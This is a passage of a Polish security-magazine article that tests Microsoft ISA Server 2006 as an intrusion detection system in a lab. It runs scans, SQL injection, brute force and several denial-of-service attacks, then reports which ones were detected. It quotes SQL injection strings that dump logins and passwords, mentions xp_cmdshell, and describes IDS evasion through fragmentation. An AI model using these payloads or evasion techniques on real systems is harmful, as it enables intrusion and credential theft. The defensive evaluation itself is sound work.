wanie  TCP  Null  programem  nmap 
został zarejestrowany przy pomocy 
programu  Network  Monitor  na  ser-
werze  ISA.  Pakiety  TCP  Null  nie 
zawierają  żadnej  flagi,  co  można 
zobaczyć  na  Rysunku  9.  Skonfigu-
rowany  wcześniej  alarm  został  wy-
wołany zarówno po wykonaniu ska-
nowania  przez  testy  internetowe, 
nmap'a, jak i pozostałe typy progra-
mów do testowania. Jego właściwo-
ści można przeglądać w konsoli za-
rządzającej ISA w węźle Monitoring 
na zakładce Alerts, wybierając dany 
alarm i rozwijając jego gałąź. Alarm 
o  zdarzeniu  IP  Half  Scan  pojawił 
się  natychmiast  po  wykonaniu  ska-
nowania.  Dodatkowo  skanowanie 
programem  nmap  wywołało  alarm 
skanowania  dobrze  znanych  por-
tów. Alarm ten, podobnie jak alarm 
IP Half Scan, został skonfigurowany 
przed atakiem.

Na Rysunku 10. znajduje się do-

wód  wykrycia  alarmu  przez  system 
wykrywantia włamań IDS na serwe-
rze ISA.

Rysunek 21. 

UDP Flood od różnych nadawców pakietów na ten sam port

Rysunek 22. 

Ruch sieciowy wataku Teardrop

Rysunek 23. 

Ruch sieciowy wywołany przez atak WinNuke na serwerze 

ISA

Rysunek 17. 

Błąd wynikający zbraku dostępności wolnego miejsca na 

dysku.

Rysunek 18. 

Zarządzanie miejscem na dysku ikasowanie nieużywanych 

plików

Rysunek 19. 

IP Spoofing – atak wykryty przy okazji UDP Flood, adres 

podany jako źródło ataku nie istniał

Rysunek 20. 

Wykrycie przez ISA Server pakietów UDP na porcie 53.

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

50

Ataki właściwe

Ataki  te  polegają  zwykle  na  próbie 
wykorzystania znanych i nieznanych 
luk  w  systemach  oraz  aplikacjach. 
Mają  one  swój  cel,  którym  najczę-
ściej jest chęć zdobycia określonych 
informacji. Atakiem takim można na-
zwać także sam test podatności, któ-
ry wykrywa, czy komputer lub urzą-
dzenie sieciowe jest odporne na ty-
powe zagrożenia. W odróżnieniu od 
ataków  rozpoznawczych,  ataki  wła-
ściwe  (włączając  w  to  testy  pene-
tracyjne) stanowią formę oszacowa-
nia skuteczności zabezpieczeń sieci, 
gdyż ujawniane są zwykle cechy po-
mijane  przez  oprogramowanie  ska-
nujące lub też w ogóle niezwiązane 
z  technologią,  np.  nowo  odkryte  lu-
ki  (wykrycie  następuje  na  bazie  sy-
gnatur) czy podatności dotyczące lu-
dzi i procedur. Należy nadmienić, że 
funkcjonalność oprogramowania wy-
korzystywanego do testów jest ogra-
niczona – wynika to z faktu, że wy-
krywane  są  słabości,  które  zostały 
już poznane. 

Najczęściej spotykanym atakiem 

na  serwery  baz  danych  jest  iniek-
cja  SQL  (ang.  SQL  Injection).  Atak 
ten  następuje  wtedy,  gdy  napastnik 
jest  w  stanie  modyfikować  kweren-
dy, które są przetwarzane przez ser-
wer  tak,  aby  przesłać  w  nich  swoje 
dane do serwera. Atak wykonany w 
niniejszym  artykule  polegał  na  wy-
korzystaniu  prostego  systemu  logo-
wania (login.dll) opublikowanego na 
serwerze ISA do wpisania frazy SQL 
Injection
 tak, aby uzyskać dostęp do 
informacji  na  serwerze  baz  danych 
Microsoft  SQL  Server  2005  oraz 
poprzez  dostęp  ten  zdobyć  upraw-
nienia  administratora.  Atak  został 
przeprowadzony niezależnie od typu 
uwierzytelniania,  gdyż  baza  zarów-
no  dla  uwierzytelniania  zintegrowa-
nego, jak i dla uwierzytelniania SQL 
reaguje tak samo. Wykonanie ataku 
rozpoczęło  się  od  wpisania  wszyst-
kim znanej frazy ‘) OR (1=1)--. Efekt 
nie jest trudny do przewidzenia – po 
uwierzytelnieniu  się,  wykorzystując 
słabości  bazy,  można  było  przeglą-
dać przechowywane w niej dane.

ISA Server 2006 może monitoro-

wać zawartość pakietów pod kątem 

skonfigurowanych  wcześniej  filtrów. 
W wielu rozwiązaniach Firewall/IDS 
nie  ma  wbudowanych  zapór  ognio-
wych aplikacji internetowych, serwer 
ISA również posiada ten moduł sła-
bo rozwinięty. Nie zmienia to jednak 
faktu,  że  ruch  określony  przez  filtr 
można wykrywać. Reguły filtrowania 
HTTP  konfiguruje  się  na  regułach 
zapory, które obsługują ten ruch. Dla 

przykładu (Rysunek 12.) zdefiniowa-
ne zostały sygnatury, które zawierają 
typową dla języka SQL składnię. Fil-
try określają, jakie wartości nie mo-
gą znaleźć się w pakietach.

Od  tej  pory  za  każdym  razem, 

gdy w pakiecie HTTP będzie poja-
wiało  się  słowo  np.  SELECT,  ruch 
nie będzie przepuszczany. W oknie 
dostępu do bazy wpisano ’ SELECT 

Tabela 1. 

Konfiguracja alarmu Port Scanning Well Known

Opcja

Wartość

[General] Name

Port Scanning Well Known

[General] Category

Security

[General] Severity

Warning

[Events] Event

Intrusion detected

[Events] Additional condition Well-known port scan attack

[Actions] Run aprogram

%SYSTEMDRIVE% \alert_PortScan.exe

Tabela 2. 

Konfiguracja alarmu Port Scanning Other

Opcja

Wartość

[General] Name

Port Scanning Other

[General] Category

Security

[General] Severity

Warning

[Events] Event

Intrusion detected

[Events] Additional condition

All port scan attack

[Actions] Run aprogram

%SYSTEMDRIVE%\alert_PortScan-
ning.exe

Tabela 3. 

Konfiguracja alarmu IP Half-Scan

Opcja

Wartość

[General] Name

IP Half Scan(ning)

[General] Category

Security

[General] Severity

Warning

[Events] Event

Intrusion detected

[Events] Additional condition

IP half scan attack

[Actions] Run aprogram

%SYSTEMDRIVE%\alert_IPHal-
fScan.exe

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

51

login,  password  FROM  users-- 
i  ruch  został  zablokowany.  Aby  in-
formacje o zawartości pakietów po-
jawiały się w zakładce Logging, na-
leży skonfigurować filtr monitorowa-
nia tak, aby wyświetlał pakiety, któ-
re  zawierają  ciągi  znaków  zabro-
nione  przez  filtr  bezpieczeństwa 
HTTP. ISA Server 2006 nie posiada 
reguły, która umożliwiłaby pojawia-
nie się w zakładce Alerts informacji 
o każdorazowym odrzuceniu pakie-
tów przez filtr HTTP. W tym miejscu 
warto  również  uwzględnić  zabez-
pieczenie  się  przed  zdalnym  uru-
chomieniem xp_cmdshell (sp_con-
figure)
.

Atak  Brute  Force  sam  w  so-

bie  jest  algorytmem,  który  spraw-
dza  wszystkie  możliwe  kombinacje 
w  poszukiwaniu  rozwiązania.  Moż-
na  podzielić  go  na  dwie  odrębne 
części:  atak  słownikowy  oraz  pró-
bowanie  wszystkich  możliwych 
kombinacji haseł w określonej prze-

strzeni.  Atak  ten  może  być  skiero-
wany  przeciwko  systemom  online 
lub  hasłom  innego  typu,  które  zo-
stały  wydobyte  inną  metodą.  Me-
toda  Brute  Force  jest  nieoptymal-
na,  za  to  najprostsza  do  zaimple-
mentowania,  gdyż  sprawdzane  są 
po  prostu  wszystkie  kombinacje 
znakowe – może to potrwać jednak 
bardzo  długo.  W  przypadku  prze-
strzeni  znaków  literowych  bez  roz-
różniania wielkości liter (26) dla ha-
sła 7-znakowego, liczba możliwych 
haseł to ok. 8.031E9. W zależności 
od kontekstu, w którym termin bru-
te  force  zostaje  użyty,  może  mieć 
on  nieznacznie  różne  definicje.  Im 
więcej  możliwych  kombinacji,  tym 
czas potrzebny na uzyskanie prawi-
dłowej sekwencji znaków jest dłuż-
szy – dzięki temu ISA będzie w sta-
nie  rozpoznać,  że  bieżący  atak  to 
brute force. Atak słownikowy w te-
stach  trwał  bardzo  krótko  (57  se-
kund).  Założenie  było  takie,  aby 
ISA  była  w  stanie  zatrzymać  okre-
ślony  ruch,  nawet  jeśli  weryfikacja 
jego typu nie przebiegnie prawidło-
wo. W przypadku ataku brute force 
czas wyniósł 20 minut i 14 sekund. 
Hasło do serwera FTP nie spełnia-
ło wymogów silnego hasła. Ataki ty-
pu łamanie haseł na określony ser-
wer można wykrywać na wiele spo-
sobów:  poprzez  aplikację  urucho-

mioną  na  serwerze,  śledzenie  ru-
chu  sieciowego  czy  monitorowa-
nie  na  systemie  IDS.  ISA  Server 
nie ma wbudowanego mechanizmu 
analizującego  dokładnie  zachowa-
nia  serwera  FTP,  tylko  zezwala  na 
ruch lub go blokuje. Pozostałe usta-
wienia  zależą  już  od  danej  aplika-
cji, w tym przypadku od oprogramo-
wania serwera FTP. Atak typu brute 
force można utrudnić, ustanawiając 
limit liczby jednoczesnych połączeń 
dla jednego użytkownika, np. usta-
wiając  go  na  3  rozciągamy  w  cza-
sie  próby  wykonywane  przez  pro-
gram łamiący hasła, gdyż w danym 
momencie mogą być dokonane tyl-
ko 3 porównania; metoda ta utrud-
nia nieco wykrycie ataku. Podczas 
włamania ISA Server 2006 monito-
rował tylko ruch w sieci. Ruch FTP 
ograniczał  się  do  wywołania  regu-
ły  publikującej  serwer  ftp.iscg.lo-
cal:  Initiated  Connection  oraz  Clo-
sed  Connection  (połączenie  zaini-
cjowane  i  zamknięte),  które  odpo-
wiadało za przesłanie próbnych da-
nych  uwierzytelniających  do  ser-
wera  FTP.  Nie  od  dziś  wiadomo, 
że  korzystanie  z  serwerów  FTP 
z domyślnymi ustawieniami nie jest 
najlepszym  pomysłem.  Warto  do-
dać  również,  że  w  przypadku  dłu-
gich  haseł  atak  brute  force  będzie 
trwał  bardzo  długo.  ISA  nie  wy-
kryła tego ataku, gdyż był on mało 
agresywny. Nie wynikało to jednak 
z ustawień serwera, tylko z konfigu-
racji aplikacji FTP. 

Ataki typu odmowa 

dostępu do usługi

Ataki  te  zasługują  na  odrębne  po-
traktowanie, gdyż dzielą się na wie-
le  podtypów,  a  od  ataków  właści-
wych  różnią  się  głównie  motywacją 
atakującego.  Ataki  te  mają  na  ce-
lu  uniemożliwienie  działania  syste-
mów  komputerowych  lub  usług  sie-
ciowych poprzez zajęcie wszystkich 
wolnych  zasobów  lub  też  poprzez 
wykorzystanie  innych  technik  unie-
możliwiających  prawidłowe  funkcjo-
nowanie. Są zazwyczaj łatwo wykry-
wane przez systemy IDS i nie muszą 
w  istocie  naruszać  bezpieczeństwa 
sieci  czy  systemów,  jednak  nadal 

Rysunek 24. 

Fragment ramki ataku WinNuke na serwer ISA (Network 

Monitor)

Testowanie

Systemy  IDS  rozpoznają  trzy  główne 
typy ataków:

•   ataki rozpoznawcze,
•   ataki właściwe,
•   ataki  typu  odmowa  dostępu  do 

usługi.

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

52

mogą  powodować  poważne  konse-
kwencje  związane  z  zabezpiecze-
niami.  Bardziej  wyrafinowane  ata-
ki  mogą  polegać  na  uniemożliwie-
niu  uaktualniania  programów  anty-
wirusowych,  pobierania  poprawek 
zabezpieczeń  lub  sygnatur  dla  sys-
temów IDS.

Atak  LAND  jest  atakiem  odmo-

wy usługi, polegającym na wysłaniu 
pakietu tak zmodyfikowanego, żeby 
adres  i  port  nadawcy  oraz  adres  i 
port odbiorcy były takie same. Atak 
ten  powoduje  zablokowanie  stosu 
TCP/IP. Atak jest skuteczny wobec 
maszyn, które znajdują się w tej sa-
mej sieci lokalnej, gdyż w Internecie 
pakiety te traktowane są jako uszko-
dzone – a co za tym idzie, odrzuca-
ne.  Atak  ten  nazywany  jest  także 
loopback  SYN  i  wykorzystuje  IP 
Spoofing, czyli podszywanie się pod 
inny  komputer  (wykorzystując  jego 
adres  IP).  Polega  na  nawiązywa-
niu połączenia TCP, które musi być 
odpowiednio  zainicjalizowane.  Wy-
syłany  jest  pakiet  SYN  z  adresem 
atakowanego komputera jako adre-
sem źródłowym. Zaatakowany kom-
puter po otrzymaniu pakietu wysyła 
sam do siebie pakiet z ustawionymi 
bitami  SYN  i  ACK.  Połączenie  nie 

jest  przerywane,  ponieważ  otrzy-
mano pakiet ACK. Idea ataku pole-
ga na tym, że nie jest sprawdzane 
ustawienie bitu SYN. Ze względu na 
niezgodność sekwencyjnych nume-
rów  otrzymanego  pakietu,  kompu-
ter  ponawia  próbę  nawiązania  po-
łączenia,  wysyłając  kolejny  pakiet 
z  bitami  SYN  i  ACK.  Takie  działa-
nie  prowadzi  do  powstania  pętli,  w 
której  komputer  prowadzi  komuni-
kację sam ze sobą. Atak LAND zo-
stał  wykonany  z  komputera  o  ad-
resie  IP  10.10.10.100  (dc.iscg.lo-
cal)
 na bramę wewnętrzną ISA Se-
rver oraz z tego samego kompute-
ra na serwer WWW (iis.iscg.local)
który został zalany pakietami z fla-
gą SYN, nie czekając na odpowiedź 
zawierającą  flagę  ACK.  Podczas 
testów  na  serwerze  ISA  utworzo-
no na czas ataku regułę zezwalają-
cą na ruch na porcie 139. W regule 
uwzględnione  zostały  następujące 
protokoły:  NetBios  Datagram,  Net-
Bios Name Service i NetBios Ses-
sion
. Atak ten w znacznym stopniu 
obciążył  zasoby  serwera  ISA  oraz 
serwera WWW.

UDP Bomb i UDP Flood są ata-

kami,  które  polegają  na  wysyłaniu 
nieprawidłowych  pakietów  (z  nie-
właściwymi  wartościami  w  odpo-
wiednich  polach)  lub  wysłanie  ich 
w  nadmiarze.  Ataki  te  kwalifikują 
się do kategorii odmowy usługi (De-

nial of Service), gdyż wykonanie ich 
może obniżyć wydajność atakowa-
nego  systemu,  a  nawet  doprowa-
dzić  do  jego  załamania  się.  Atak 
UDP  Bomb/Flood  został  wykona-
ny z komputera z sieci wewnętrznej 
na  bramę  wewnętrzną  ISA  Server. 
Do  tego  celu  wykorzystano  opro-
gramowanie  zalewające  pakietami 
UDP wybrane porty z losowo wyge-
nerowanych  adresów  IP.  Przepro-
wadzenie ataku UDP Flood na ser-
wer ISA sprawiło, że przejęte zosta-
ły zasoby tego serwera. Na począt-
ku  w  katalogu  głównym  dysku  by-
ło 3,5 GB wolnego miejsca, po ok. 
20 minutach na dysku było już wol-
ne zaledwie 500MB. Stan wykorzy-
stania zasobów zweryfikowano pro-
gramem  Performance  Monitor.  Dy-
namicznie  zmniejszająca  się  ilość 
wolnego miejsca na dysku oraz peł-
ne  wykorzystanie  procesora  przy-
czyniły  się  do  obniżenia  wydajno-
ści systemu, które ISA Server 2006 
potrafił wykryć (widać to na Rysun-
kach 15-16.).

Atak na komputer isa.iscg.local 

można  było  zaobserwować  –  po-
dobnie,  jak  w  przypadku  poprzed-
nich ataków – w konsoli zarządza-
jącej ISA Server 2006, na zakładce 
Logging w węźle Monitoring. Skon-
figurowany  uprzednio  alarm  UDP 
Bomb
  nie  został  wywołany,  uru-
chomione  zostały  natomiast  inne 
alarmy, np. IP Spoofing, co dowo-
dzi,  że  atak  następował  z  losowo 
wygenerowanych  adresów  IP.  Na 
Rysunku  19.  znajduje  się  komuni-
kat alarmu.

W przypadku, gdy serwer był za-

lewany  pakietami  z  jednego  adresu 
IP, ruch był blokowany, jednak opro-
gramowanie ISA nie wyświetliło żad-

Rysunek 25. 

Dowód wykrycia ataku WinNuke na serwerze ISA

Rysunek 26. 

Informacja o ataku 

WinNuke w Dzienniku Zdarzeń

Rysunek 27. 

Ruch wygenerowany podczas ataku Ping Flooding

Rysunek 28. 

Zablokowanie ruchu od hosta wykonującego atak Ping 

Flooding

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

53

Zamówienia: www.hakin9.org pren@software.com.pl tel. 0-22 427-36-93

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

54

nego komunikatu. Podobna sytuacja 
miała  miejsce,  gdy  atakowany  był 
określony port. 

Atak  Teardrop  modyfikuje  na-

główki  IP  i  ustawia  w  nich  znaczni-
ki  przesunięcia  (ang.  offset)  w  ta-
ki  sposób,  aby  się  na  siebie  nakła-
dały.  Funkcją  znaczników  jest  infor-
mowanie  systemu  o  liczbie  bajtów 
oraz  o  kolejności  składania  przesy-
łanych  pakietów.  W  przypadku  pa-
kietu  o  wielkości  4100  bajtów  kolej-
ne pofragmentowane pakiety powin-
ny  mieć  w  polu  nagłówka  wartości 
np.: 1-1500, 1501-3000, 3001-4100. 
Teardrop polega na takim ustawieniu 
tych wartości, aby kolejne fragmen-
ty  na  siebie  zachodziły,  np.  1-1500, 
1500-3000,  2000-3500.  Uniemożli-
wia to odebranie pakietu, gdyż ostat-
ni  fragment  zawiera  wartość  niższą 
niż  rzeczywista  wielkość  pakietu. 
Komputer – odbiorca nie jest w sta-
nie  poskładać  części  pakietu,  uru-
chamiana  jest  obsługa  błędów  re-
konstrukcji,  która  obciąża  procesor 
– w sytuacji krytycznej może nastą-
pić nawet restart maszyny. Atak nie 
wywołał żadnego alarmu na serwe-
rze ISA. Nie wykryto również na za-
kładce  Logging  ruchu  związanego 
z  tym  atakiem.  Pakiety  można  było 
natomiast  przechwycić  programem 
Network Monitor (Rysunek 22.).

Szczególną uwagę należy zwró-

cić na pakiety, w których znaczniki 
przesunięcia  pokrywają  się.  W  za-
obserwowanym  ruchu  zdarzały  się 
pakiety,  których  numery  sekwen-
cyjne  pokrywały  się,  zdarzały  się 
też takie, które miały ustawioną fla-
gę,  zabraniającą  fragmentacji.  Pa-
kiety  takie  mają  ustawiony  znacz-
nik w polu Fragmentation Summary 
(16384,  0x4000):  Cannot  fragment 
datagram.

Atak  WinNuke  (Windows  Out-

of-Band  Attack)  jest  znany  z  cza-
sów  systemów  operacyjnych  Mi-
crosoft Windows 95, Microsoft Win-
dows  NT  oraz  Microsoft  Windows 
3.1x.  Jest  atakiem  typu  DoS  i  po-
lega  na  wysyłaniu  specjalnie  spre-
parowanego  pakietu  OOB  (Out  of 
Band
)  na  port  139  (NetBIOS)  do 
komputerów,  na  których  urucho-
miony  jest  ten  system.  W  rezulta-

cie  komputer  się  zawiesza  i  poja-
wia  się  niebieski  ekran  z  informa-
cją o błędzie. Windows NT załamu-
je się i zrzuca całą pamięć do pliku, 
pozostałe wymienione systemy za-
chowują się różnie w zależności od 
wersji. Atak ten nie ma na celu spo-
wodowania  zniszczeń,  jedynie  nie-
zapisane  dane  zostaną  utracone. 
Pakiety OOB są obsługiwane przez 
protokół TCP. Są przekazywane po-
za normalnym strumieniem danych 
i ich flaga oznacza, że mają być ob-
służone  poza  kolejnością.  Ostatni 
przesyłany  bajt  w  segmencie  jest 
wskazywany  przez  pole  URGENT 
POINTER
  –  pozwala  to  na  ziden-
tyfikowanie  końca  bloku  danych. 
Przed przystąpieniem do ataku na-
leżało  skonfigurować  alarm,  który 
miał  zostać  wyświetlony,  gdy  na-
stępowało  odpowiednie  zdarzenie. 
Atak  WinNuke  korzystał  z  wcze-
śniej  utworzonej  reguły  inicjując 
połączenie  na  porcie  139,  następ-
nie  wysyłane  były  pakiety,  a  po-
tem  połączenie  zostało  zamknięte. 
Rysunek 23. obrazuje zrzut ekranu 
z zakładki Logging.

Ruch  ten  został  także  zaobser-

wowany  w  programie  Network  Mo-
nitor
 na serwerze ISA oraz Ethereal 
na  dc.iscg.local  (kontroler  domeny). 
Program  WinNuke  wysyła  pakie-
ty,  które  zawierają  wskaźnik  Urgent 
Pointer
,  oprócz  tego  dołączana  jest 
wiadomość  sesji,  widoczna  na  Ry-
sunku 24.

Skonfigurowany wcześniej alarm 

został wywołany natychmiast po wy-
konaniu  ataku  –  pokazuje  to  Rysu-
nek 25.

W  sytuacji  wykrycia  ataku  dru-

gim  wywoływanym  zdarzeniem  był 

wpis do Dziennika zdarzeń do logów 
aplikacyjnych.  Wpis  ten  zatytułowa-
ny jest Microsoft Firewall, a jego ob-
sługą zajmuje się usługa o tej samej 
nazwie. Wpis w logu obejrzeć można 
na Rysunku 26.

Atak  Ping  of  Death  polega 

na  wysłaniu  do  komputera  docelo-
wego pofragmentowanego datagra-
mu ICMP Echo Request, w którym 
łączna  długość  przekracza  maksy-
malną  długość  pakietu,  jaką  moż-
na wpisać do nagłówka IP, czyli 65 
535 bajtów. Nie wszystkie systemy 
są w stanie przetworzyć taki pakiet, 
powoduje to zawieszenie się lub re-
start maszyny. Ping Flooding pole-
ga  na  zalewaniu  komputera  pakie-
tami  ICMP  (ICMP  Echo  Request). 
Komputer  atakowany  odpowia-
da  na  każde  zapytanie  za  pomo-
cą pakietu zwrotnego ICMP (ICMP 
Echo  Reply
),  co  może  prowadzić 
do  przeciążenia  jego  łącza.  Atak 
ten ma sens w przypadku, gdy jest 
przeprowadzany  z  komputera,  któ-
ry  posiada  łącze  o  większej  prze-
pustowości  niż  atakowany  kompu-
ter. Atak ten można także przepro-
wadzić z wielu komputerów, będzie 
się  wtedy  klasyfikował  do  ataków 
DDoS,  czyli  rozproszonych  ataków 
odmowy usługi. Do ataków tych zo-
stały  wykorzystane  narzędzia  po-
zwalające  na  modyfikowanie  roz-
miarów  pakietów  oraz  określanie, 
ile ich ma zostać wysłanych i z jaką 
częstotliwością. ISA Server odebrał 
125024080  pakietów  ICMP  o  róż-
nych  parametrach  wielkościowych; 
ilość  tę  uznano  za  wystarczającą 
do  przeprowadzenia  analizy  sytu-
acji. Atak nie wywołał alarmu Ping 
of Death
, wywołał natomiast pozo-

Rysunek 29. 

Przekroczenie liczby połączeń dla reguły PING

Rysunek 30. 

Zablokowanie odpowiedzi ICMP

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

55

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

56

stałe,  które  w  ogólnym  ujęciu  mia-
ły  za  zadanie  blokować  ruch  przy-
chodzący od komputera, na którym 
uruchomiony  był  flooder.  Oznacza 
to,  że  administrator  powinien  szu-
kać  przyczyny  obniżenia  wydajno-
ści  korzystając  z  programów  ze-
wnętrznych, takich jak np. Network 
Monitor
 oraz Performance Monitor
Poniższy  log  został  pobrany  z  ISA 
Server  2006  (Logging
).  Na  atak 

wskazuje  jedynie  ilość  powtórzeń 
wysłania tego samego pakietu. Jak 
widać na Rysunku 27, rejestrowane 
jest każde powtórzenie.

W  czasie  bombardowania  pa-

kietami ICMP zauważono lekki spa-
dek wydajności serwera ISA. Rysun-
ki 28-30.  przedstawiają alarmy, któ-
re  zostały  wywołane  tym  atakiem. 
Do  ataku  tego  w  czasie  testów  nie 
przywiązywano większej wagi, gdyż 

nie  jest  on  uznawany  powszechnie 
jako poważne zagrożenie.

Podsumowanie

Godząc  się  na  pewne  odstęp-
stwa  od  idealnego  stanu  bezpie-
czeństwa  zwiększamy  funkcjonal-
ność  sieci,  zmniejszając  jednak-
że  jej  poziom  ochrony  –  podob-
nie,  jak  otwierając  dodatkowe  por-
ty  na  zaporze  ogniowej  zwiększa-

Tabela 4a. 

Podsumowanie testów

Skanowanie portów i 

finger- printing

IP Half Scan

SQL Injection

LAND

CVE

Brak (to nie jest podat-
ność)

CVE-2001-0773, CVE-
1999-0116

CVE-2002-0645 (dla 
Microsoft SQL Server 
2000)

CVE-1999-0016, CVE-
2005-0688

Skutek

Nie zaobserwowa-
no działań, które po-
tencjalnie mogłyby za-
szkodzić atakowanym 
systemom.

Nie zaobserwowano dzia-
łań, które potencjalnie 
mogłyby zaszkodzić ata-
kowanym systemom.

Atak powiódł się, prze-
jęto dane uwierzytel-
niające administratora.

Zawieszenie się konsoli 
zarządzającej ISA Se-
rver, obniżenie wydaj-
ności ISA Server oraz 
atakowanych kompu-
terów.

Wykrycie ISA Server 2006 wy-

krył atak natychmiast.

ISA Server 2006 wykrył 
atak natychmiast.

Atak nie został wykry-
ty. Można się jednak 
zabezpieczyć przed 
nim w prosty sposób.

ISA Server 2006 wy-
krył atak natychmiast.

Tabela 4b. 

Podsumowanie testów

UDP Bomb /

Flood

Brute Force FTP

Teardropping

WinNuke

Ping Flooding, 

nieprawidłowe 

pakiety ICMP

CVE

CVE-1999-0103, 
CVE-2002-2150

CVE-1999-0017, 
CVE-1999-0079, 
CVE-1999-0614

CVE-1999-0104, 
CVE-1999-0015

CVE-1999-0153

CVE-1999-0128

Skutek

Zasoby systemo-
we zostały zajęte 
przez atak.

Uzyskano dostęp do 
kont użytkowników 
FTP.

Nie zaobserwowa-
no działań, które 
potencjalnie mo-
głyby zaszkodzić 
atakowanym sys-
temom.

Nie zaobserwo-
wano działań, 
które potencjal-
nie mogłyby za-
szkodzić atako-
wanym syste-
mom.

Spowolnienie 
działania serwera 
ISA. Zablokowa-
nie połączeń.

Wykry-
cie

ISA Server wy-
świetlił alarmy, któ-
re pomogą zorien-
tować się, że na-
stępuje atak.

Atak ten nie został 
wykryty. Dostęp do 
serwera uwarunko-
wany jest ustawie-
niami dodatkowych 
aplikacji.

Atak nie został 
wykryty.

ISA Server 2006 
wykrył atak na-
tychmiast.

ISA Server 2006 
nie wykrył ata-
ku, ale wyświetlił 
alarmy wywołane 
skutkami ataku.

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

57

my prawdopodobieństwo wystąpie-
nia ataków. ISA Server 2006 posia-
da wbudowane mechanizmy, które 
blokują  ruch  w  przypadku,  gdy  je-
go  parametry  osiągną  wyznaczo-
ną wartość progową (np. zbyt wiele 
przychodzących  pakietów  ICMP). 
W  przeprowadzonych  testach  da-
ło się zauważyć, że jeśli wysyłamy 
pakiety  w  inny  sposób,  niż  zosta-
ło  to  narzucone  przezdaną  aplika-
cję czy ogólne ustawienia sieciowe, 
to nie są one wykrywane przez ser-
wer  ISA.  Czasem  jest  to  brak  de-
tekcji  na  poziomie  monitorowania 
ruchu przychodzącego, jak w przy-
padku  zmodyfikowanych  pakie-
tów  PING,  a  niekiedy  jest  to  tylko 
zaniechanie  wyświetlenia  alarmu 
na  tablicy  rozdzielczej,  ponieważ 
określony  zbiór  pakietów  nie  jest 
uznawany za zagrożenie. Obydwie 
sytuacje  zmniejszają  prawdopodo-
bieństwo  wykrycia  danego  ataku. 
Tak  było  w  przypadku  ataku  Brute 
Force FTP
, w którym odstępy mie-
dzy wysyłaniem kolejnych pakietów 
zostały  celowo  zwiększone.  Sy-
tuacja  taka  nie  zagraża  w  znacz-
nym  stopniu  bezpieczeństwu  sie-
ci. Należy pamiętać, że system IDS 
na serwerze ISA jest tylko dodatko-
wym modułem. Zestawienie wyko-
nanych testów znajduje się w Tabe-
lach 4a i 4b Podsumowanie testów.

Większość  dostępnych  sys-

temów  IDS  została  zintegrowana 
z  systemami  reagującymi  na  zda-
rzenia.  Wystąpienie  podejrzanego 
incydentu  inicjuje  reakcję  uwarun-
kowaną  technologicznie  oraz  jest 
w stanie oddziaływać z systemem. 
Korzystając  z  wbudowanych  algo-
rytmów  analizy  kontekstowej,  sys-
tem  IDS  odrzuca  niektóre  pakie-

ty, a część przechowuje do dalsze-
go  monitorowania.  Słabością  wie-
lu  systemów  IDS  jest  to,  że  zbie-
rają one pofragmentowane pakiety. 
W  sytuacji,  gdy  zostanie  nawiąza-
nych wiele połączeń i każde z nich 
będzie wymagało obsługi fragmen-
tacji pakietów, system będzie prze-
chowywał pofragmentowane pakie-
ty  do  momentu,  aż  nie  nadejdzie 
ostatni z nich. Działanie takie może 
doprowadzić do przepełnienia bufo-
ra  pakietów,  co  sprzyja  wykonaniu 
innych  ataków  nie  będąc  zauwa-
żonym.  Oczywiście  systemy  IDS 
mają  zakodowany  czas,  w  którym 
mają  otrzymać  ostatnią  część  pa-
kietu  –  jeśli  jej  nie  otrzymają,  po-
zostałe  fragmenty  są  odrzucane. 
Mieszcząc się jednak w wyznaczo-
nych granicach czasowych, można 
oszukać  system.  Innym  ciekawym 
sposobem  na  to  jest  korzystanie 
z  pakietów,  które  nie  zostały  zde-
finiowane  w  żadnym  z  protokołów. 
Istnienie pakietów, które nie są pra-
widłowe dla danego systemu opera-
cyjnego, jest w pełni akceptowalne, 
gdyż  istnieje  zarówno  wiele  syste-
mów operacyjnych, jak i producen-
tów  oprogramowania.  Dopuszczal-
ne są więc takie konstrukcje pakie-
tów,  które  umożliwiłyby  komunika-
cję  oprogramowania  różnych  pro-
ducentów. Systemy wykrywania na-
ruszeń  muszą  rozumieć  te  pakie-
ty, włączając w to nawet takie, któ-
re  są  charakterystyczne  dla  danej 
aplikacji.  Pakiety  można  dowolnie 
modyfikować,  zachowując  oczywi-
ście  zasady,  które  umożliwiają  ich 
funkcjonowanie.  Na  tej  podsta-
wie  tworzy  się  nietypowe  strumie-
nie  danych,  wykorzystując  do  tego 
celu  np.  fragmentację  IP  lub  kolej-

kowanie  segmentów  TCP.  Mody-
fikacja  pakietów  polegała  niegdyś 
na zamianie danych, teraz już – kie-
dy atak Man-In-The-Middle nie jest 
problemem – modyfikuje się np. ad-
res IP, pole TTL, TOS (Type of Se-
rvice
) lub dodaje do nagłówka sour-
ce routing
 z określeniem trasy, wy-
konując przez to atak typu DoS. Pa-
kiety nie są jednak dowolnie mody-
fikowalne,  gdyż  komputer,  do  któ-
rego  wędruje  pakiet,  posiada  pew-
ne  wbudowane  standardy,  w  ja-
kich przychodzące pakiety mają się 
mieścić. Gdy pakiet jest zbyt silnie 
zmodyfikowany,  to  docelowy  sys-
tem  po  prostu  go  nie  zauważy,  al-
bo  nie  będzie  reagował  zgodnie 
z oczekiwaniami. 

Wykrywanie  włamań  w  syste-

mach i sieciach komputerowych jest 
ciągłym  procesem,  który  powinien 
być  dynamicznie  rozwijany  wraz 
z  innymi  mechanizmami  zabezpie-
czeń, takimi jak zapora ogniowa czy 
konfiguracja polityk dostępowych na 
stacjach  roboczych  użytkowników. 
Należy  pamiętać,  że  omawiane 
w  niniejszym  artykule  rozwiązanie 
Microsoft ISA Server 2006 stanowi 
jedynie  dodatkowy  poziom  zabez-
pieczeń  i  nie  będzie  zapobiegało 
ono np. złośliwym działaniom użyt-
kowników,  nie  zastąpi  także  do-
brze  skonfigurowanych  routerów 
czy  innych  urządzeń  sieciowych. 
System można uznać za bezpiecz-
ny, jeśli ocena wynikająca z aksjo-
matu  mówiącego,  że  poziom  bez-
pieczeństwa  systemu  jest  taki,  jak 
jego najsłabsze ogniwo, będzie za-
dowalająca  i  pozwoli  na  komplek-
sową  ochronę  przetwarzanych  da-
nych.  Po  przeprowadzeniu  testów 
